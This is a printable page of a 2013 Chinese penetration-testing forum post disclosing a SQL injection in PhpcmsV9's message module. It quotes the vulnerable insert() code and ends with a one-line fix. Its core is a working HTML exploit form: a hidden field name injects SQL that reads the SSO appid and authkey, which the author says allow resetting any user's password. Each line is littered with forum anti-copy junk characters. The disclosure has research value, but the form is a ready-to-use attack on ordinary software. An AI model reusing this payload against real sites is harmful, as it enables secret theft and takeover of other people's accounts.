中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
& b# v) J' l& C8 I8 t4 t; O5 F8 ^, m# {/ O' Y) \8 E
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。4 B1 V5 p/ P* S0 t2 B( W8 l2 p4 L
. T6 ]3 B" J9 _/ P, l- @
明天再更新下一个漏洞。
' s3 a$ V3 t0 L% y; C详细说明:
8 r9 W5 C7 {3 m0 w1 K/ J在/phpcms9/phpcms/modules/message/index.php中有代码如下:5 V+ G& b; d0 ^' @- o# T. g4 p
. f& ?% G  C( n( s0 g
$messageid = $this->message_db->insert($_POST['info'],true);! l0 A: o( k& X+ [2 x  F0 C
% `% i0 z1 L2 V* u, ]1 k( e0 f

3 `6 J# b- g: A) dinsert方法是key value的,代码如下:! E$ O( F# x6 n  |9 I+ b
) q9 \4 W* y; G6 R# I
public function insert($data, $table, $return_insert_id = false, $replace = false) {
2 \8 f# }- V! H" E0 f0 G7 E                if(!is_array( $data ) || $table == '' || count($data) == 0) {
3 Z* x* D+ [3 Z9 K6 i                        return false;) A4 |; J: y* J5 }8 R; O
                }
  T: X" Q! f1 z3 O4 t* I               
, p$ `7 q; {. ?, a. |                $fielddata = array_keys($data);
8 J2 G; Q; y# {7 h: o6 G  T# F9 j                $valuedata = array_values($data);
- X0 ?7 X) i* p! A3 K8 u7 \4 A# C                array_walk($fielddata, array($this, 'add_special_char'));
  ]) L5 [! Q( A. p, p" J                array_walk($valuedata, array($this, 'escape_string'));
* w4 E0 z6 j% H5 P  c% y, o- j               
7 h/ l( S4 Q7 W1 Y0 z4 o5 m                $field = implode (',', $fielddata);& J1 Y( J5 G4 Q" e0 ?
                $value = implode (',', $valuedata);$ x1 J( l' C! Y" {+ {2 x
2 K: ]- i  ]# u  D! i2 S$ H
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';, Q! \5 k9 M% M  f
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
. J; T6 Y! k) ~- R                $return = $this->execute($sql);" f+ a' w  e; t+ q% X$ R; L
                return $return_insert_id ? $this->insert_id() : $return;7 @3 ]2 X/ q5 \& o( |
        }) Q  G- f. y) x* C% K$ [, y; v

( |" D* l& \8 r& O* l
3 M. E: s, ^! P4 {( c, a6 F/ [嗯,很遗憾的是  h8 T4 g( k; e: W* y- g6 `
# O' W' G! Z: ?4 O) V
array_walk($fielddata, array($this, 'add_special_char'));" z3 D9 h' ], a# @1 |, C

" O" ]2 Q. B1 T0 \' V4 \4 B& T, O: B/ x. y9 g2 V
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。5 R4 G" b1 u& M. N5 C# g( T

, u  r1 E2 _) P4 p, f. I! N9 j到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
% c4 l' Y3 U; f# @: n  D* E) c$ Y8 p/ o
漏洞证明:+ \( ?* S- k' j' v% E
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
: G9 C( O! I9 i" @( T2 U[attach]200[/attach]6 ~" e( `% v- @! n- j# L
) q" J! r, T  n; |2 W# C& ?& _
表单如下:用户名什么的得自己改一改。
# r/ t" _' w2 T2 P<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
$ d( ]5 E- O, G9 X5 _<table width="100%" cellspacing="0" class="table_form">- R, u; x; `. ^; G
<tr>
6 l& m* E9 h9 ]% M3 x+ T<th>标 题:</th>
$ g' d! R) E" X7 O: O! U<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
9 _5 {* h( s7 K. @1 h4 W</tr> $ o4 I" D# C) ]0 l# D* O$ U7 P
<tr>2 c0 p) v1 ^7 _* L
<th>内 容:</th>1 l+ |4 z1 F3 H( U  \. J% M
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
, K( [# g! h9 G& Q- `% T# C</tr>; _" y7 J' \9 `4 q6 x0 \0 u: ]
<input type="hidden" name="info[replyid]" value="2" /> / ^3 i2 f6 w  s7 u6 c! s
<input type="hidden" name="info[send_to_id]" value="cc" />
* T8 H# \& ]& ~3 M% s<input type="hidden" name="info[send_from_id]" value="hh">+ b1 S9 j: i5 r6 V+ P. g1 p9 O
<!-- 漏洞的利用重点在这里开始 -->
) U6 Q) u  X9 z<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
$ x2 m! P5 w8 R2 p% D<!-- 漏洞的利用重点在这里结束 -->8 ?( Q) p$ W% \
<tr>  B8 v7 L3 i/ n) n5 ]( Z8 S
<th>验证码:</th>
& y1 \+ D3 L$ e, S5 x<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>8 S( Z( D4 {6 f( N; ^6 X7 ?# K
</tr>
, }( [6 U  \  Y<tr>
1 Y0 |, G. Z! t4 D9 Y6 E* |<td></td>9 I' ^* h1 e' f# `2 W: w
<td colspan="2"><label>
& @% {% N: W6 I; }1 U<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
5 s0 e- F) R4 o</label></td>
7 J8 T1 H% W9 m6 I& y) E</tr>
" s. v' C' |- e( f3 a</table>2 [: @6 b5 l7 c( ^& }7 ?$ d, d) D
</form>* b" F  {% E. b: @4 j2 E
在add_special_char函数内对key做过滤就可以了。
, M8 P# `- K' G' h% d
- {- K! Y4 F* J  Y3 ]/ F( {' u. n7 L) o& t6 M9 ^/ z5 o

9 R' O: Q, L7 i- u2 R" ~( M8 q




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2